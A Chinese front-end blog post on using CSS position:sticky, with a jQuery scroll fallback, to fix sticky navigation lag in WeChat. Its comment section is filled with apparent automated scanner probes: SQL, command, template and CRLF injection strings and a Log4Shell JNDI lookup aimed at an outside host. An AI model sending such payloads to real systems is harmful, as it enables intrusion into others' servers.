做有态度的前端团队

网易FEG前端团队

sticky解决粘性交互在微信的问题

前言

粘性交互 指的是某个模块在页面滚动到指定位置时脱离页面不再顺页面滚动而滚动,而是处于屏幕某一固定位置,变成fixed状态,粘着屏幕某一边缘。这种交互经常用到一些导航,比如《大话西游》手游移动官网,效果请看下面动图示意:

dhxy.gif

这种交互的主要逻辑是:导航模块默认是普通流体布局,然后监听window的scroll事件,当页面滚动到导航模块的位置时把导航改成position:fixed状态并调整模块的显示位置即可。在大部分浏览器没什么问题,但是微信对scroll这高频事件做了处理,即使你绑定了scroll事件,在滑动屏幕时也要等页面滚动完后才会执行。所以在微信下这种粘性交互是不流畅的:

或者扫码体验:

dhxy.png

之前在做dhxy时有纠结过这个问题,后来其它项目也遇到,一直没找到方法解决。昨晚在微信浏览某个网站时,页面滚动到底部评论时发现有类似的交互,但是人家是很流畅的,顿时看到希望,通过研究别人的写法发现了position的另一个属性值sticky,css3新增的好东西!

具体实现

sticky写法很简单,但是因为是新属性值,前缀是少不了的:

.sticky {
    position: -webkit-sticky;
    position: -moz-sticky;
    position: -ms-sticky;
    position: -o-sticky;
    position: sticky;
    top: 15px;
} 

元素一开始以position:relative表现,但当用户滚动到距离top 15px时,元素就会变成position:fixed
看起来很好用啊,有了它实现粘性交互再也不用监听scroll了!但事实不是这样的。。。
新东西要先了解下兼容性:

sticky.png

很不乐观,chrome要56版本才默认支持,安卓更是惨~ 但自然有这个好东西,我们就不能因为兼容不好而弃用,最起码它能解决在ios微信的问题,所以结合监听scroll事件,我们来实现一个兼容写法:

核心css,其它前缀按需自行补上:

.nav{
    top: 0;
    left: 0;
    position:-webkit-sticky;
    position:sticky;
}
.nav-fixed{
    position: fixed;
}

核心js:

function isSupportSticky() {//检测是否支持sticky
    var prefixTestList = ['', '-webkit-', '-ms-', '-moz-', '-o-'];
    var stickyText = '';
    for (var i = 0; i < prefixTestList.length; i++ ) {
        stickyText += 'position:' + prefixTestList[i] + 'sticky;';
    }
    // 创建一个dom来检查
    var div = document.createElement('div');
    div.style.cssText = stickyText;
    document.body.appendChild(div);
    var isSupport = /sticky/i.test(window.getComputedStyle(div).position);
    document.body.removeChild(div);
    div = null;
    return isSupport;
}
var isSupportSticky = isSupportSticky();
var $ptxt = $('#Jp');
$ptxt.html('你的浏览器是否支持sticky:'+isSupportSticky);

var fixBottomBar = function(){//不支持的情况
    var $win = $(window),
        $fixtopbar = $('#Jnav'),
        topbar_top = $fixtopbar.offset().top,
        win_top = $win.scrollTop();
    addCla();
    $win.bind('scroll', addCla);
    function addCla(){
        win_top = $win.scrollTop();
        if(win_top > topbar_top){
            $fixtopbar.addClass('nav-fixed');
            !isSupportSticky && $ptxt.addClass('h1-fixed');
        }else{
            $fixtopbar.removeClass('nav-fixed');
          !isSupportSticky && $ptxt.removeClass('h1-fixed');
        }
    }
}
!isSupportSticky && fixBottomBar();

点击查看demo>>

或者扫码体验:

sticky-ewm.png

最后

上面的方案解决了ios下微信的粘性交互问题,但是安卓下不支持sticky,所以还是需要借助scroll来实现,故还是存在滚动停止后粘性模块跳动的问题。

手机阅读请扫描下方二维码:

已有 219 条评论

    1. 0KeeTeam

      0KeeTeam

      1. admin

        12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

      2. uyxflvdytcqbtoxyurzp

        12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

      3. 12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

      4. admin%0d%0aCRLF-Header:CRLF-Value

        12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

      5. admin

        uyxflvdytcqbtoxyurzp

      6. admin

        12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

      7. admin

        12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

      8. admin

        12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

      9. admin

        12345678 ali-40.gif 'and'r'='r

      10. admin

        12345678 ali-40.gif 'and'a'='g

      11. admin

        12345678 ali-40.gif 'and(selectfrom(select+sleep(0))a//union/*/select+1)='

      12. 1

        555

      13. 1

        555

      14. 1

        555

      15. 1

        555

      16. 1

        555

    2. admin

      12345678 ali-40.gif

    3. admin

      12345678 ali-40.gif

    4. admin

      12345678 ali-40.gif

    5. test

      test

    6. test

      test

    7. test

    8. /*1*/{{876949750+932844525}}

      test

    9. ${954014126+902424749}

      test

    10. test

    11. ${894194379+929133766}

      test

    12. test%0d%0aCRLF-Header:CRLF-Value

      test

    13. test

    14. test

      test

    15. test

      test

    16. test

      test

    17. test

      test

    18. test

      test

    19. 1

      1

    20. 1

      1

    21. 1

      1

    22. 1

      1

    23. 1

      1

    24. 1

      1

  1. 张33

    ali-53.gif 牛鼻

    1. 0KeeTeam

      0KeeTeam

  2. 0KeeTeam

    0KeeTeam

  3. 0KeeTeam

    0KeeTeam

  4. 0KeeTeam

    0KeeTeam

  5. 0KeeTeam

    0KeeTeam

  6. 0KeeTeam

  7. 0KeeTeam

    iavqddlnhufeyjdhqtqm

  8. iavqddlnhufeyjdhqtqm

    0KeeTeam

  9. 0KeeTeam

    0KeeTeam

  10. 0KeeTeam

  11. 0KeeTeam

    0KeeTeam

  12. 0KeeTeam

    0KeeTeam

  13. 0KeeTeam

    0KeeTeam

  14. 0KeeTeam

    0KeeTeam

  15. 0KeeTeam

    0KeeTeam

  16. 0KeeTeam

  17. dpimhtmlqxmphywjdyfb

    0KeeTeam

  18. 0KeeTeam

  19. 0KeeTeam

  20. 0KeeTeam

    unbtnqslmjskzgtbyrup

  21. 0KeeTeam

    0KeeTeam

  22. 0KeeTeam

    0KeeTeam

  23. 0KeeTeam

  24. 0KeeTeam%0d%0aCRLF-Header:CRLF-Value

    0KeeTeam

  25. Crawlergo

    Crawlergo

  26. Crawlergo

    Crawlergo

  27. Crawlergo=1

    Crawlergo

  28. Crawlergo=2

    Crawlergo

  29. Crawlergo

  30. Crawlergo

  31. Crawlergo

    Crawlergo'^'2

  32. Crawlergo

    Crawlergo

  33. Crawlergo

    Crawlergo

  34. Crawlergo

    Crawlergo

  35. Crawlergo

    Crawlergo

  36. Crawlergo

    Crawlergo

  37. Crawlergo

    Crawlergo

  38. rcckjvxwhrehwghmkzxb

    Crawlergo

  39. Crawlergo|expr 821662344 + 801422049

    Crawlergo

  40. Crawlergo

  41. Crawlergo

    Crawlergo
    CRLF-Header:CRLF-Value

  42. Crawlergo

    rcckjvxwhrehwghmkzxb

  43. admin

    12345678 ali-40.gif ali-41.gif ali-42.gif ali-43.gif ali-44.gif ali-45.gif ali-46.gif ali-47.gif ali-48.gif ali-49.gif ali-50.gif ali-51.gif ali-52.gif ali-53.gif ali-54.gif ali-55.gif ali-56.gif ali-57.gif ali-58.gif ali-59.gif ali-60.gif ali-61.gif

  44. Crawlergo

    Crawlergo

  45. Crawlergo

    Crawlergo

  46. Crawlergo

    Crawlergo

  47. Crawlergo

  48. c';waitfor/**/delay'0:0:0'/**/--/**/

    Crawlergo

  49. m';waitfor/**/delay'0:0:2'/**/--/**/

    Crawlergo

  50. Crawlergo

    Crawlergo

  51. Crawlergo

    Crawlergo

  52. Crawlergo

  53. Crawlergo

  54. Crawlergo

    Crawlergo

  55. Crawlergo

    Crawlergo

  56. Crawlergo

    Crawlergo

  57. Crawlergo

    Crawlergo

  58. Crawlergo

    Crawlergo

  59. admin

    admin

  60. admin

    admin

  61. admin

    admin

  62. admin

    admin

  63. admin

    admin

  64. admin

    admin

  65. admin

    admin

  66. admin%0d%0aCRLF-Header:CRLF-Value

    admin

  67. admin

    admin

  68. admin

    admin

  69. admin

    admin

  70. admin

    admin

  71. admin

    admin'and/**/extractvalue(1,concat(char(126),md5(1561949855)))and'

  72. admin

    admin

  73. admin

    admin"and/**/extractvalue(1,concat(char(126),md5(1622118765)))and"

  74. admin|expr 992347427 + 940493644

    admin

  75. admin

    ${@var_dump(md5(729302900))};

  76. admin

    admin

  77. admin

    extractvalue(1,concat(char(126),md5(1958289652)))

  78. admin

    '-var_dump(md5(951421911))-'

  79. admin

    admin

  80. admin

    admin'and(select'1'from//cast(md5(1090364610)as//int))>'0

  81. admin&set /A 881850674+869788457

    admin

  82. admin

  83. admin

    admin
    CRLF-Header:CRLF-Value

  84. admin

    admin

  85. admin

    admin//and//cast(md5('1703639764')as/**/int)>0

  86. admin

    ${878277996+941142050}

  87. expr 945452257 + 944284535

    admin

  88. ${jndi:ldap://dfaxjgswheoutbvl.author.feg.netease.com.None.log.3l8.pw/a}

    admin

  89. test

    test

  90. test

    test

  91. test

    test

  92. test

    test

  93. test

  94. test

    test
    expr 905866160 + 865954894

  95. test

    test

  96. test

    test

  97. test

    test

  98. test

    test

  99. test

    test

  100. test

    test

  101. test

    test

  102. test
    &content;
  103. test

    test

  104. test

    test

  105. test

    test

  106. test

    test

  107. test

    test

  108. test

    test

  109. test

    test

  110. test

    test

  111. test

    test

  112. test

    test

  113. test

    test

  114. expr 955810187 + 898111585

    test

  115. test

    test

  116. test

    test

  117. test

    test

  118. test

    test

  119. test

    test

  120. test

    test

  121. test

    test

  122. test

    test

  123. test

    test

  124. test

    test

  125. test

    test

  126. test

    test

  127. test

    test

  128. test

    test

  129. test

    test

  130. test

    test

  131. test

    test

  132. test

    test

  133. test

    test

  134. test

    test

  135. test

    test

  136. test

    test

  137. test

    test

  138. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  139. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  140. 1

    555

  141. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  142. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  143. 1

    1

  144. 1

    1

  145. 1

    555

  146. 1

    1

  147. 1

    555

  148. 1

    1

  149. 1

    1

  150. 1

    1

  151. 1

    1

  152. test

    test

  153. test

    test

  154. Crawlergo

    Crawlergo

  155. Crawlergo

    Crawlergo

  156. Crawlergo

    uoyvpdmbrlkafdsmrkea

  157. uoyvpdmbrlkafdsmrkea

    Crawlergo

  158. Crawlergo

  159. Crawlergo

    Crawlergo

  160. Crawlergo

    Crawlergo

  161. test

    test

  162. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  163. 1

    1 ali-40.gif ali-40.gif ali-41.gif ali-41.gif ali-42.gif ali-42.gif ali-43.gif ali-43.gif ali-44.gif ali-44.gif ali-45.gif ali-45.gif ali-46.gif ali-46.gif ali-47.gif ali-47.gif ali-48.gif ali-48.gif ali-49.gif ali-49.gif ali-50.gif ali-50.gif ali-51.gif ali-51.gif ali-52.gif ali-52.gif ali-53.gif ali-53.gif ali-54.gif ali-54.gif ali-55.gif ali-55.gif ali-56.gif ali-56.gif ali-57.gif ali-57.gif ali-58.gif ali-58.gif ali-59.gif ali-59.gif ali-60.gif ali-60.gif ali-61.gif ali-61.gif

  164. 1

    1

  165. 1

    555

  166. 1

    1

  167. 1

    1

  168. 1

    555

  169. 1

    1

  170. 1

    555

  171. 1

    1

  172. 1

    1

  173. 1

    1

  174. test

    test

  175. 1

    1

  176. 1

    1

添加新评论

ali-40.gifali-41.gifali-42.gifali-43.gifali-44.gifali-45.gifali-46.gifali-47.gifali-48.gifali-49.gifali-50.gifali-51.gifali-52.gifali-53.gifali-54.gifali-55.gifali-56.gifali-57.gifali-58.gifali-59.gifali-60.gifali-61.gif